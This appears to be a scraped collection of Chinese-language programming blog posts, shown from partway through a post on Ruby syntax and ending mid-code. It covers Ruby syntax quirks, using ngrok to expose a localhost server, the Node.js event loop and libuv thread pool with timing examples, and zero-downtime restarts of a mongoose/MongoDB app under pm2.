其實是在 Symbol 裡面有定義 to_proc 的實作方式透過 :test.methods 去看看印出來的 method 就會知道可以參考 What does map(&:name) mean in Ruby? 更多詳細關於 Proc Lambda Block & 用法, 可以看 Ruby 中的 Block、Proc、Lambda 是什麼? attr_accessor, private, public, protected在寫 Ruby 時, 常常會看到標題這幾個字樣出現但在 Ruby 裡面, 這並不是關鍵字, 而是一種 method這裡可以看到 Ruby 裡面真正有的 keywords 有哪些 (這邊提供 3.0.0 版本)但這樣就很特別, 因為如果是 method 的話, 代表是我在宣告 class 時是可以執行其他 function 其他版本可以參考 https://docs.ruby-lang.org/en/ 1234567891011121314151617181920class Cat puts \"gogo\" def run puts \"run\" endendCat.new.run# 除了上面這樣執行, 也可以額外宣告 class method 直接去使用class Cat def self.gogo puts \"gogo\" end def run puts \"run\" end gogoendCat.new.run 這跟寫 JS 和 Java 有很大的不同, 為何在定義 class 的時候就可以執行程式呢?其實在 class 這個定義中, 跟其他區塊一樣可以直接執行程式的區塊, 差別在 self 指向這個 class 而已而定義在這區塊中, 當 class 被載入之後, 就會跟著執行不過有趣的是 require & load 兩種方式會有不同樣的結果透過多次 require class 只會被執行一次透過多次 load class 則會每次載入都會被執行一次 更多詳細內容可以參考以下文章 Ruby Method calls declared in class body point 4: Class Bodies Aren’t Special. Method Calls in Ruby Class Definitions rescue Exception => e雖然這只是語法差別, 從原本的 try-catch 變成 begin-rescue但比較特別的地方是, 可以透過 => 把 Exception assign 到一個 local variable 裡面12345begin asdasdrescue Exception => e puts e.messageend 這個 e 就只會存在這個 scope 裡面不過我找了很多資料, 看來這是唯一一個特殊用法rescue 的 => 跟 hash 的 => 意義不太一樣不過這邊提一下, 雖然邊提示用 Exception, 但是 Ruby 裡面並不推薦全部都用 Exception Handle 唷另外若有人知道為啥 resuce ⇒ 用法這麼特別, 拜託再跟我說一下 XD 後記這篇文章主要紀錄 Ruby 語言特有的一些符號和用法從其他語言轉換過來的話, 個人覺得先理解這先東西可以幫助更快速學習 Ruby 這個語言若有其他文章沒提到的, 歡迎各位底下留言告訴我, 謝謝! 接著理解一些特出語法之後, 可以開始搜尋 ruby best practice 了解哪一些寫法是更好的 References What does << mean in Ruby? 要用繼承還是要用模組? What does map(&:name) mean in Ruby? Ruby 中的 Block、Proc、Lambda 是什麼? keywords Ruby Method calls declared in class body point 4: Class Bodies Aren’t Special. Method Calls in Ruby Class Definitions Self in Ruby: A Comprehensive Overview","link":"/2021/06/20/new-to-learn-ruby/"},{"title":"Ngrok - Connect to your localhost!","text":"今天要介紹的是一個非常好用的東西,可以直接讓大家都連到你的 localhost這樣做完一個網站,你也不用特地部署,可以直接透過這個工具,大家都能連到 工具連結在此: Ngrok 使用方式簡單介紹下載下來後,unzip 之後就可以做使用了如果在 localhost 開了一個 8080 想讓大家連可以在下這以下這行指令 1./ngrok http 8080 結果會長這樣,然後在網址列打上他給你的網址就可以直接連到你的 8080 port 如果像是要用到 Apple Pay 一些特定服務只允許跑在 SSL 上面的話這個工具會非常有用,但畢竟是經過別人家重導 …. 所以小心用","link":"/2017/11/08/ngrok/"},{"title":"Event Loop 運行機制解析 - Node.js 篇","text":"Event Loop關於 Event Loop 也寫了兩篇, 針對瀏覽器和 Node.js 版本透過以下兩篇可以更加清楚了解兩者之間的差異 Event Loop 運行機制解析 - 瀏覽器篇Event Loop 運行機制解析 - Node.js 篇 (本篇) 前言去年說好要寫的 Event Loop - Node.js 篇終於完成了話不多說, 直接來看一個範例, 這個範例在 瀏覽器 和 Node.js 上執行上會不會一樣? 123456789101112131415setTimeout(()=>{ console.log('timer1') Promise.resolve().then(function() { console.log('promise1') })}, 0)setTimeout(()=>{ console.log('timer2') Promise.resolve().then(function() { console.log('promise2') })}, 0) ......... 答案是: 只有在 node v10 以前不一樣 (包含 v10) 瀏覽器會印出1234// timer1// promise1// timer2// promise2 Node.js v10 以前會印出, 但 v11 以後就會跟 browser 一樣1234// timer1// timer2// promise1// promise2 有些人用 v8, v10 “有時候”也會執行出跟 v11 一樣的結果這其實有關於 setTimeout 底層的機制和機器效能有關這個會放在最後補充做說明, 但我們先完整了解 Event Loop 後再來解析為何 “有時候” 執行結果會跟 v11 一樣 但為什麼以前會不一樣, 以後卻會一樣?這其實牽涉到 Event Loop 實作的原理我們就透過這個例子, 往下慢慢介紹 Event Loop in Node.js 現在蠻多文章還是停留在 v10 版本之前的 Event Loop這邊就直接以 v10 以前, 以及 v11 以後去做介紹和區別 Node.js Event Loop在整個 Event Loop 中, 最核心的就是執行各種 callback 而何謂『執行各種 callback』以一個生活化例子想像, 煮水的時候, 你什麼時候知道要去把瓦斯關掉?就是當水壺在叫的時候, 會觸發你去關瓦斯, 關瓦斯這件事就是你的 callback 雖然實際上在 Node.js 裡面, 真正去煮水的不會是 Event Loop 本人有時會是其他人去幫你煮水, 而 Event Loop 就是一直去問那個『其他人』, 水到底煮好沒而這邊用的水壺, 可能就是不會叫的那一種, 必須要有其他人盯著看才知道有沒有煮好而這裡的『其他人』可能是 Kernel or Thread Pool詳細後面會介紹到, 這裡先有個概念就好 所以在整個 Event Loop 中, 會不斷接受到各種事件完成的通知Event Loop 就會去執行事情通知完成後, 接著要做的事像是發網路請求, 等到對方網路完成後會告訴你有回應了, Event Loop 就會去執行相對應的 callback但這裡發網路請求, 是透過『其他人』去幫忙處理的, 也就是 Kernel or Thread PoolEvent Loop 本身只負責執行 callback Event Loop 如其名, 就是一個 Loop, 會一直去檢查有沒有各種 callback 可以呼叫但在檢查整個 callback 的過程中, 又會被細分多種 phase不過個人覺得用純文字解釋容易恍神, 就直接上了兩種版本的 Event Loop 的圖建議是可以先看 v10 以前的 Event Loop 去了解脈絡, 再去看 v11 以後 在下面圖中, 我略過了 idle & preare 這一個 phase這個 phase 拿掉是不影響解釋整體 Event LoopNode.js 官網也是標注僅內部使用, 但詳細的內容可能會在之後針對 libuv 的介紹去提到 補充: 因為資料結構是 queue, 所以都是 FIFO 唷 兩者 Event Loop 最大差別在於新版的在執行完『每一個』 setTimeout/setImmediate callback 後, 會執行 JS callback (promise or nextTick) 接著比較有爭議的是 pending callback phase 這兩個解釋在有些比較久的文章上是叫做 I/O callback, 而目前在 Node.js 官網上 pending callback這邊我就參照目前 Node.js 官網最新的名稱 Node.js 官網上是這樣說明的 在 Phase Overview 這樣寫 pending callbacks: executes I/O callbacks deferred to the next loop iteration. 在 Phase in Detail 這樣寫 This phase executes callbacks for some system operations such as types of TCP errors.For example if a TCP socket receives ECONNREFUSED when attempting to connect,some *nix systems want to wait to report the error.This will be queued to execute in the pending callbacks phase. libuv 的官網卻是這樣寫 All I/O callbacks are called right after polling for I/O, for the most part.There are cases, however, in which calling such a callback is deferred for the next loop iteration.If the previous iteration deferred any I/O callback it will be run at this point. 這樣結合一起看後, 基本上 pending callback phase 就是執行上一輪 poll phase 沒有成功觸發的 callback只是 Node.js 官網比較詳細解釋, 像是 TCP error 也會被特意安排在這個 phase 去進行執行 執行範例解釋接著我們按照這兩張圖個別的邏輯, 去解釋剛剛的那一段程式碼 123456789101112131415setTimeout(()=>{ console.log('timer1') Promise.resolve().then(function() { console.log('promise1') })}, 0)setTimeout(()=>{ console.log('timer2') Promise.resolve().then(function() { console.log('promise2') })}, 0) v10 以前思考方式在圖中的前段可以看到, 是先執行 JS callback 再執行 timer callback但這裡主程式執行後, 並沒有 promise 可以執行, 只有看到 timer此時就會先把 timer 塞到 timer phase 裡面的 queue 去queue 裡面就會有 [timer1 callback, timer2 callback] 這樣資料存著 接著會到第一個 JS callback, 但因為裡面沒東西所以啥事都不做 此時執行到 timer phase 的時候, 檢查發現有兩個 timer 可以執行 於是就先執行 dequeue 把 timer1 拿出來去執行 callback執行後發現裡面有一個 promise 可以呼叫於是把 promise callback 塞入到 JS callback queue 裡面此時 JS callback queue 裡面就會有 [promise1 callback] 接著繼續 dequeue 把 timer2 拿出來執行 callback接著一樣發現有一個 promise 可以呼叫所以最後 JS callback queue 裡面變成 [promise1 callback, promise2 callback] timer phase 結束後, 要進入到 pending callback phase 之前會先去檢查 JS callback queue 裡面有沒有可以執行的 callback 於是發現 [promise1 callback, promise2 callback] 在裡面就按照 FIFO 的概念先執行 promise1 callback, 再來是 promise2 callback 所以順序為 timer1 -> timer2 -> promise1 -> promise2 v11 以後思考方式接著 v11 更改過後是會在每一次執行『每一個』 timer 之後, 直接去檢查 JS callback 裡面有沒有可以執行的 callback, 有的話就直接去執行 所以執行到 timer phase 的時候, 因為 queue 裡面有兩個 timer 可以執行於是就先執行 dequeue 把 timer1 拿出來執行執行後發現裡面有一個 promise 可以呼叫於是把 promise1 callback 塞入到 JS callback queue 裡面目前 JS callback queue 裡面有 [promise1 callback] 此時因為 timer1 執行完了, 接著會去檢查 JS callback queue 裡面有沒有東西結果發現有一個 [promise1 callback] 在裡面是可以執行的於是 dequeue promise1 後, 執行其 callback那麼 JS callback queue 裡面就變空的 [] 接著繼續 dequeue 把 timer2 拿出來執行完後一樣發現 promise, 塞入到 JS callback queue 裡面目前 JS callback queue 裡面有 [promise2 callback] 當 timer2 執行完後, 一樣檢查 JS callback queue發現裡面有 [promise2 callback], dequeue promise2 後執行其 callnack 所以順序為 timer1 -> promise1 -> timer2 -> promise2 Node.js Event Loop 差異緣由?那為什麼會有之前之後版本的差異呢?其實源自於 Github Issue MacroTask and MicroTask execution order這個 Issue 提出來之後, 就針對執行 microtask 的時間點去做調整符合瀏覽器的執行結果這時才出現了 v11 版本的 Event Loop 介紹完 Event Loop 後, 常常會有一個隨著 Event Loop 一起被問的問題『Node.js 是 Single Thread 嗎? 』我覺得解釋不如直接跑程式範例讓你看看 Node.js 其實不是 Single Thread?我寫了一個 setTimeout 的程式, 設定 6000 秒後會執行 callback我們就來看看 Node 運行時的背景解析情況 會發現 Node.js 實際上執行的 Thread 其實不止一個這樣就不符合大家講 Node.js 是 Single Thread 的定義了?其實大家講的 Single Thread 就是文章上半段筆者介紹的 Event Loop 的部分 而我們要怎麼證明 Event Loop 是 Single Thread 呢?假設當你的程式中有出現 CPU 密集計算的程式時, 是會 block Event Loop Thread進而導致各式各樣的 callback 無法執行, 可以來看一個最簡單的範例 先看看一般讀檔程式的執行順序 1234567const fs = require(\"fs\")fs.readFile(\"./a.js\", () => { console.log(\"read file!\")})console.log(\"test\");// test// read file! 但萬一我在 console.log("test") 後面接一個無限的 while loop 呢?我讀檔案的 callback 就這樣被鎖死, 永遠都不會執行到了1234567const fs = require(\"fs\")fs.readFile(\"./a.js\", () => { console.log(\"read file!\")})console.log(\"test\");while(true) {}// test 所以當談到 Single Thead 時有些人會誤解 Node.js 就是 Single Thread 的一種語言但實際上並不是, 真正 Single Thead 是 Event Loop 這整個機制也就是執行 JavaScript 的 Thread 只有一條而已 雖然剛剛已經有一個例子證明執行 CPU 密集計算的程式時, 會 block Event Loop但有沒有可能在執行 CPU 密集計算的程式時, 卻不會 block Event Loop? 答案是: 100% 可能 crypto我們來看一個 Node.js 原生模組 crypto 執行的範例這裏 crypto 是去做一個 hmac 的計算並去迭代 10 萬次一直跑計算這是一個很耗費 CPU 計算的模組, 在我電腦上面跑大約耗費 500ms 左右, 1234567const crypto = require(\"crypto\");const start = Date.now();crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('1:', Date.now() - start);});// 1: 5xx ms 然而當我在往上加一個的話會各是幾秒呢?其實也是一樣各花 5xx ms 123456789101112const crypto = require(\"crypto\");const start = Date.now();crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('1:', Date.now() - start);});crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('2:', Date.now() - start);});console.log(\"done\")// done// 1: 5xx ms// 2: 5xx ms 那麼為什麼我透過這樣疊加, 卻不會看到第二個執行完成時間是 1000ms 後呢?先把這問題放在心中, 我們再繼續往下看一個範例 12345678910111213process.env.UV_THREADPOOL_SIZE = 1;const crypto = require(\"crypto\");const start = Date.now();crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('1:', Date.now() - start);});crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('2:', Date.now() - start);});console.log(\"done\")// done// 1: 5xx ms// 2: 10xx ms 咦!? 多加了一個 process.env.UV_THREADPOOL_SIZE = 1然後時間卻變成我們預想的 1+1 的概念? UV_THREADPOOL_SIZE 這又是什麼? 因為實際在 Node.js 裡面, 某些 library 是透過底層 libuv 去執行libuv 是實現 Node.js 整個運行機制中的功臣之一libuv 提供了 Node.js Event Loop, Thread Pool 等等重要功能 在 Node.js 運行時, libuv 會預設建立 Thread Pool而這個 Thread Pool 會預設包含四個 Thread 去讓 Node.js 使用所以 Thread 1, 2 會同時去執行 pbkdf2, 所以跑出來的秒數才是一樣的而這裡執行的 pbkdf2 就是所謂非同步執行, 是交由 Thread 1, 2 去執行的 至於前面有一張圖, 為何顯示七條 Threads可以參考此篇 SO why-node-js-spins-7-threads-per-process 的討論 所以當 Thread Pool 的大小只有一個的時候一次只有一個 Thread 能幫你執行 pbkdf2, 自然而然時間就會疊加上去 所以反過來說, 如果 Thread Pool 固定 4 個但執行的 function 變成 8 個時候, 前面四個會是 5xx ms, 後面四個會是 1000ms123456789101112131415161718192021222324const start = Date.now();const crypto = require(\"crypto\");const fs = require(\"fs\");function doHash() { crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('Hash:', Date.now() - start); });}doHash();doHash();doHash();doHash();doHash();doHash();doHash();doHash();// Hash: 595// Hash: 609// Hash: 613// Hash: 615// Hash: 1212// Hash: 1227// Hash: 1230// Hash: 1244 不過其實這 function 也有同步版本, 是由 Event Loop 這條 Thread 本身去執行的這裡就會發現原本的 done 是等到前面兩個跑完, 才會被執行 1234567891011const crypto = require(\"crypto\");const start = Date.now();crypto.pbkdf2Sync('a', 'b', 100000, 512, 'sha512');console.log('1:', Date.now() - start);crypto.pbkdf2Sync('a', 'b', 100000, 512, 'sha512');console.log('2:', Date.now() - start);console.log(\"done\")// 1: 5xxms// 2: 10xxms// done 所以在寫 Node.js 千萬不要用 xxxSync 版本的 function這種只有在一些特殊狀況可能會用到以 fs.readFileSync 來說, 啟動 https 的 node.js 程式一定要有 private key 和 certificate 才有辦法啟動這時用 fs.readFileSync 去讀這兩個檔案就很適合但像寫 API 程式中, 就先萬不要用 readFileSync 去寫 所以透過以上例子, 可以很清楚知道 Node.js 絕對不是 Single Thread真正 Single Thread 的是 Event Loop接著可能會有人想問, 那關於 檔案讀寫 和 網路 相關的執行, 也都是透過 libuv 嗎?先讓我們看看下面的例子, 你就知道了 fs + crypto我們先來看看執行 node a.js 去讀取 a.js 需要的秒數會多久 12345678// a.jsconst start = Date.now();const crypto = require(\"crypto\");const fs = require(\"fs\");fs.readFile(\"./a.js\", \"utf8\", () => { console.log('FS:', Date.now() - start);})// 3-5 ms 可以看到只有 3-5 ms 的時間但當我在讀檔後面, 加上四個 pbkdf21234567891011121314151617181920const start = Date.now();const crypto = require(\"crypto\");const fs = require(\"fs\");function doHash() { crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('Hash:', Date.now() - start); });}fs.readFile(\"./a.js\", \"utf8\", () => { console.log('FS:', Date.now() - start);})doHash(); // AdoHash(); // BdoHash(); // CdoHash(); // D// Hash: 540// Hash: 548// Hash: 549// FS: 549// Hash: 554 結果秒數變得跟 doHash 一樣長的時間了!?!?!?為什麼加上 doHash 後會影響 fs 的時間 !? 原因是因為 fs 是跟 pbkdf2 用同樣的 Thread Pool還記得我們只有 4 個 Thread 嗎?在程式一開始執行時, 這四條 Thread 是這樣分配的 fs -> Thread1doHash // A -> Thread2doHash // B -> Thread3doHash // C -> Thread4 但當 Thread1 在執行 fs 的時候, 他只是把任務指派下去交給 File System 去做實際上讀檔行為並不在 Thread1 發生要等到 File System 真正讀完資料後, 是需要一段時間 (雖然這裡只需要 3-5 ms)File System 讀完資料之後, 會再通知 Node.js 的 Thread此時 Thread 就可以把 callback 丟到 Event Loop 去被執行 而這段時間就是在等 callback, 所以在等的這段時間, Thread1 會先不理因為 Thread1 指派任務這件事情結束了它也不知道什麼時候才能把 callback 丟到 Event Loop 去被執行所以 Thread1 就會先去接著做 doHash // D 的事情這時這四條 Thrad 分配變這樣 doHash // A -> Thread2doHash // B -> Thread3doHash // C -> Thread4doHash // D -> Thread1 然後 doHash 需要花費大概 5xx ms 才能結束但如果四條 Thread 都被佔著, 就算 File System 讀在快都沒用因為他沒辦法通知其中一個 Thread所以要等到 Thread 被釋放出去, 才能去迎接 fs 結束的事件通知得到 fs 結束的事件通知後, Thread 才有辦法把 callback 丟到 Event Loop 去等待被執行所以最後 fs 的時間, 才會變成 5xx ms, 遠比一開始的 1-5 ms 還要多很多 所以依照上面 case 這樣修改成以下的把讀檔放在坐後面, 前面只留下 3 個 doHash, 這樣讀檔時間就又會變回來了 123456789101112131415161718const start = Date.now();const crypto = require(\"crypto\");const fs = require(\"fs\");function doHash() { crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('Hash:', Date.now() - start); });}doHash(); // AdoHash(); // BdoHash(); // Cfs.readFile(\"./a.js\", \"utf8\", () => { console.log('FS:', Date.now() - start);})// FS: 8// Hash: 547// Hash: 548// Hash: 549 原因就是 default Thread Pool 數量是四個這邊剛好四個非同步的 function 要執行, 所以全部 Thread 都有事情做, 就不會發生剛剛的情況 所以可以繼續往下推. 如果再 fs 前面加一個 doHash 就又會變回去了1234567891011121314151617181920const start = Date.now();const crypto = require(\"crypto\");const fs = require(\"fs\");function doHash() { crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('Hash:', Date.now() - start); });}doHash(); // AdoHash(); // BdoHash(); // CdoHash(); // Dfs.readFile(\"./a.js\", \"utf8\", () => { console.log('FS:', Date.now() - start);})// Hash: 630// FS: 637// Hash: 659// Hash: 659// Hash: 668 所以回歸到問題『關於 檔案讀寫 和 網路 相關的執行, 也都是透過 libuv 嗎?』從上面例子可以看到 fs 其實也是使用 libuv 的 Thread Pool 去執行的那 Network 呢? 我們繼續看下一個例子 network + crypto先看原本執行的時間 12345678910111213const http = require(\"http\")const start = Date.now();function doRequest() { http.request(\"http://localhost:4000\", res => { res.on(\"data\", () => { }) res.on(\"end\", () => { console.log(\"Request:\", Date.now() - start); }); }).end();}doRequest();// Request: 30xx 那因為我設定我 localhost:4000 三秒後回傳所以會發現大約在 3000ms 左右, 這時我把 pbkdf2 加上去看會變怎樣 123456789101112131415161718192021222324252627const http = require(\"http\")const crypto = require(\"crypto\")const start = Date.now();function doHash() { crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('Hash:', Date.now() - start); });}function doRequest() { http.request(\"http://localhost:4000\", res => { res.on(\"data\", () => { }) res.on(\"end\", () => { console.log(\"Request:\", Date.now() - start); }); }).end();}doRequest();doHash();doHash();doHash();doHash();// Hash: 758// Hash: 761// Hash: 762// Hash: 762// Request: 3032 竟然還是 3000ms 以內 !?!?!? (Node.js 你也太怪了吧所以這樣看起來的意思是 Network 相關的, 不會用 libuv 底層的 ThreadPool 去執行? 且慢, 我們把 doRequest 移動到最後面看看 123456789101112131415161718192021222324252627const http = require(\"http\")const crypto = require(\"crypto\")const start = Date.now();function doHash() { crypto.pbkdf2('a', 'b', 100000, 512, 'sha512', () => { console.log('Hash:', Date.now() - start); });}function doRequest() { http.request(\"http://localhost:4000\", res => { res.on(\"data\", () => { }) res.on(\"end\", () => { console.log(\"Request:\", Date.now() - start); }); }).end();}doHash(); // AdoHash(); // BdoHash(); // CdoHash(); // DdoRequest();// Hash: 609// Hash: 613// Hash: 621// Hash: 624// Request: 3620 竟然變成 36xx ms … !?!?這裡的時間差卻又跟 fs 一樣會被 doHash 影響!?但讓我們再看一個連續一次性呼叫多個 http request case 123456789101112131415161718192021222324252627const http = require(\"http\")const start = Date.now();function doRequest() { http.request(\"http://localhost:4000\", res => { res.on(\"data\", () => { }) res.on(\"end\", () => { console.log(\"Request:\", Date.now() - start); }); }).end();}doRequest();doRequest();doRequest();doRequest();doRequest();doRequest();doRequest();doRequest();// Request: 3025// Request: 3035// Request: 3036// Request: 3036// Request: 3036// Request: 3037// Request: 3037// Request: 3037 會發現都是 3000ms … 秒數其實都是相當接近的, 這究竟是什麼回事 !?這跟行為跟剛剛 fs 連續呼叫 8 個不太一樣 我們先整理目前遇到的三個 network case doRequest 後, 連續四個 doHash -> 3000ms 連續四個 doHash 後, doRequest -> 3600ms 執行連續好幾個 doRequest -> 3000ms 先針對 case 2 說明原因是發 Request 這件事情, 還是要交由 Thread Pool 去觸發所以必須要等到空閒的 Thread 才能去執行 doRequest 那為什麼 case 1 先執行 doRequest 不會造成其中一個 doHash +3000ms 呢?原因是實際執行發請求的地方, 並不是在 Thread 本身發生Thread 只是把這個任務指派出去, 並指派到 OS, 交由 OS 真正去執行發請求所以並不是 Thread 本身去執行發請求的任務, 這點跟執行 fs 是一樣的 這也是為什麼 case 3 連續執行好幾個 doRequest不會像前面好幾個 doHash 一樣會互相影響在 doRequest 中 Thread 只是指派任務, Thread 本身並不會執行在 doHash 中 Thread 是實際執行任務 所以兩者運行起來才會有差別, 不過凡事都有個『但書』再讓我們來看 case 4, 更改的地方是我從 localhost 改成 127.0.0.1 123456789101112131415161718192021222324252627const http = require(\"http\");const crypto = require(\"crypto\");const start = Date.now();function doHash() { crypto.pbkdf2(\"a\", \"b\", 100000, 512, \"sha512\", () => { console.log(\"Hash:\", Date.now() - start); });}function doRequest() { http.request(\"http://127.0.0.1:4000/test\", res => { res.on(\"data\", () => { }); res.on(\"end\", () => { console.log(\"Request:\", Date.now() - start); }); }).end();}doHash();doHash();doHash();doHash();doRequest();// Hash: 697// Hash: 700// Hash: 700// Hash: 703// Request: 3014 按照前面 case2 的想法, 他應該會是 3600ms 對吧?但實際執行後, 其實只有 3000ms … 謎之聲: 乾 Node.js 你也太怪了吧, 不是說好給 Thread Pool 去指派任務嗎 !?!?! (翻桌 原因是當 http 模組發請求是用『IP』而不是『hostname』的時候此時去指派任務的人, 就不是 Thread Pool, 而是 Event Loop 本身這條 Thread但為何會有這樣的區別, 原因是 http 底層用了 dns.lookup 去解析 hostname而 dns.lookup 實作方式就是用 Thread Pool 所以才會有下面這張圖的解釋, 讓大家了解 node 各模組所屬的組別是什麼 以上介紹完 Event Loop Node.js 版本接著我們最後來用文章最一開始的例子, 來去比對瀏覽器和 Node.js 版本中執行的差異吧! 瀏覽器和 Node.js 執行邏輯差異我們一樣拿最一開始的程式碼來解釋, 那因為 Node.js 解釋過了所以這邊用瀏覽器邏輯去解釋, 不過會多加 function name, 會方便等等截圖 123456789101112131415setTimeout(function timer1 () { console.log('timer1') Promise.resolve().then(function promise1() { console.log('promise1') })}, 0)setTimeout(function timer2 () { console.log('timer2') Promise.resolve().then(function promise2() { console.log('promise2') })}, 0) 瀏覽器中存在 task 和 microtask 的概念每一次的 setTimeout 的 callback 裡面都是被歸類在 task 的範疇所以上面執來說, 總共開了兩輪的 task 讓瀏覽器執行 第一輪 task 會印出 timer1然後發現有一個 microtask 可以執行 (promis1), 於是就執行印出 promise1那因為第一輪 task 已經沒有 microtask 可以執行, 於是結束第一輪 task 第二輪 task 會印出 timer2然後發現有一個 microtask 可以執行 (promis2), 於是就執行印出 promise2那因為第一輪 task 已經沒有 microtask 可以執行, 於是結束第二輪 task 從瀏覽器的開發者工具中的 performance 去檢測也會得到一樣的結果前面的 task 包含 timer1 + promise1後面的 task 包含 timer2 + promise2 雖然在瀏覽器和 Node.js 兩者執行結果一樣, 但概念是不一樣的以瀏覽器來說, 執行 Event Loop 兩輪才把程式跑完以 Node.js 來說, 都還沒進到 Event Loop 一半, 程式碼就都已經跑完了等著要跳出 Event Loop 還蠻有趣的對吧 XD 補充 - v10 執行結果有時跟 v11 一樣還記得一開始有提到 v8, v10 執行文章一開始範例的結果有時候會跟 v11 一樣嘛? 看完 Event Loop 後我們來解析這個情況 我們先從『符合邏輯』的方式下去猜想為何有時候會一樣在執行整個程式之後, 把 timer1, timer2 放到 timer phase queue 之後準備要去觸發 timer1, timer2 callback 因為是 timer, 所以他執行的條件就是『你設定的時間已經過期』這個 timer callback 才會被觸發 所以有可能是因為 timer1 已經到達『過期的時間』但 timer2 卻還沒到達『過期的時間』才導致這樣順序 timer1 -> promise2 -> timer2 -> promise2? 更詳細的說明的話第一輪 Event Loop 到了 timer phase 之後發現了只有 timer1 過期可以執行, 於是只執行 timer1 的 callback但此時 timer2 還沒到可以執行的階段, 於是就先跳過 準備進到 pending task phase 之前因為有一個 JS Callback, 這時就先把 promise1 給印出來 接著到了 poll 階段時, 因為 poll phase queue 為空但因為有設置 timer, 且已經到達過期時間於是 Event Loop 就繞回去 timer 階段 此時 timer 階段有一個 timer2就按照 timer phase 執行 timer2 callback然後進入到 pending task 之前的 JS callback又執行了 promise2 這才導致了順序不一樣的問題 但 … 兩個 timer 都設置為 0, 這種可能性是會發生的嗎?我們先來看看 node.js 針對 setTimeout 使用的說明 When delay is larger than 2147483647 or less than 1, the delay will be set to 1.Non-integer delays are truncated to an integer. 有沒有發現一個神奇的點, 也就是說 0 根本不存在你設置 0 的話, 他會直接把你的 0 改成 1 所以實際上程式運行是長這樣123456789101112131415setTimeout(()=>{ console.log('timer1') Promise.resolve().then(function() { console.log('promise1') })}, 1)setTimeout(()=>{ console.log('timer2') Promise.resolve().then(function() { console.log('promise2') })}, 1) 而這裡的 1ms 都是所謂相對時間也就是程式執行當下的相對時間這樣的時間差 + 機器執行的效能花式組合後(?就會達成以下狀況發生, 這時可以再回去看看我們猜想的流程其實是正確的 timer1 就可能先過期且可以執行 timer2 就還沒過期, 所以還不能執行 所以其實 v11 版本也是非常有可能造成以上時間差的問題但因為 v11 機制整體改掉的關係, 所以不會偶爾有執行順序的差別 後記這次 Event Loop - Node.js 篇就介紹到這邊了如果內容有誤或是不清楚的, 非常歡迎大家來找我討論!之後如果有想到什麼其他更好例子, 可能會再慢慢補上來, 讓整體概念更加清楚 因為這篇是以概念為主去針對 Event Loop 介紹下一篇的話, 就會稍微硬一點, 可能會實際來看看 libuv 源碼是怎麼寫 XD 另外若文章有描述不對或怪怪的地方, 請各位大大不要手軟直接指認 XD References verything You Need to Know About Node.js Event Loop - Bert Belder event-loop-timers-and-nexttick New Changes to the Timers and Microtasks in Node v11.0.0 (and above) Node.js Internals: Event loop in action","link":"/2021/03/14/node-event-loop/"},{"title":"續篇 - Node.js & Mongodb zero downtime 更新","text":"前言上次提到了, 關於在 http module 裡面的 close function當呼叫 server.close(() => {console.log("server is closed")})express 會等到請求處理完事件後才會關閉 但那次我們單純只提到了伺服器的部分那麼當我的伺服器跟資料庫連動的時候, 也是一樣的狀況嗎? 這篇將會 demo 如何在伺服器與資料庫連線的同時, 做到 zero downtime 更新另外, 這篇是使用 mongodb 以及 mongoose 套件進行 demo 前提注意mongoose 使用版本為 5.9.13, mongodb 使用版本為 3.6.2在筆者測試的時候, 發現有一個參數 useUnifiedTopology 有沒有設定是會影響此次的結果在這個 zero downtime 的測試中, useUnifiedTopology 的參數是 false若改成 true, 此次測試皆會失敗, 也就無法達成 zero downtime update 的目的 但在 mongoose v5.9.13 的文件裡面, 針對 useUnifiedTopology 的參數, 是希望改成 true原因是他們重寫了如何處理監控伺服器的程式碼還有機制所以才會導致設定之後會失敗, 詳細可以看看看這邊 Server Discovery And Monitoring 原文Mongoose 5.7 uses MongoDB driver 3.3.x, which introduced a significant refactorof how it handles monitoring all the servers in a replica set or sharded cluster.In MongoDB parlance, this is known as server discovery and monitoring. 除此之外, 設定為 true 之後, autoReconnect reconnectTries reconnectInterval 這幾個選項也不會支援詳細可以看 mongoose connection options在下面就有針對 useUnifiedTopology: true 的去解釋可以用哪些參數以及 useUnifiedTopology: false 的去解釋又有哪些參數可以使用 另外筆者把 mongoose 版本改成 v4.13.20 後, 因為沒了建議上要加 useUnifiedTopology 的規則, 使用上就都會正常 Case 1在使用 mongoose 的時候, 其實裡面也能拿到跟 DB 連線的 connection在 mongoose 連線之後, 可以透過此方法 const db = mongoose.connection 取得 connection既然拿得到 connection, 那麼我們也有方式可以關閉的可以透過 db.close(() => {console.log("db is closed")}) 有沒有發現這跟 server close function 也是很類似的用法但在 mongoose 裡面, 是不是會有等待當前程式執行完之後, 才關閉 db 連線的作用呢? 我們先撰寫一個簡單的 api, 使用者呼叫 api 後伺服器會等待五秒後到資料庫取得資料, 並回傳給使用者但我們同時開放一個 api, 呼叫的時候可以關閉 db 連線我們就是要趁在等待的五秒的之中, 去呼叫關閉 db 連線的 api以此去實驗, 在使用者取得資料之前, 這個 db 連線會不會就這樣被關閉 以下為 DEMO 影片成果最左邊為伺服器, 中間為使用者呼叫 API, 最右邊為呼叫關閉 db 連線的 API 但若我們改成直接呼叫關閉的 API 會發現他是能馬上直接關閉的這也證明這個連線是有在被『等待』 Case 2測試完以上的案例後, 可以結合上次提到的 pm2 試試看整個 combo使用情境也是一樣, 使用者呼叫 api 後伺服器會等待五秒後才到資料庫取得資料, 並回傳給使用者但這裡, 我們就不開放一個新的 api 去讓使用者呼叫去關閉 db 連線 這裡我們會跟上次一樣, 把 db.close() 加到 pm2 指定的 graceful reload 的 function 裡面大致樣子會變成以下這個樣子 12345678910db.close(() => { console.log(\"db connection is closed\"); server.close(() => { console.log(\"server is closed\"); // Stop after 10 secs setTimeout(() => { process.exit(); }, 10000); });}) 以下為 DEMO 影片成果 後記影片中的程式碼,放在附錄可以自行去測試但記得要安裝 pm2 和 mongodb 才可以使用至於要如何在 v5.9.13 之後版本而且 useUnifiedTopolog: true 的狀態達成 zero dowmtime 目的就留給下次研究了 附錄1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253// a.jsconst http = require(\"http\");const express = 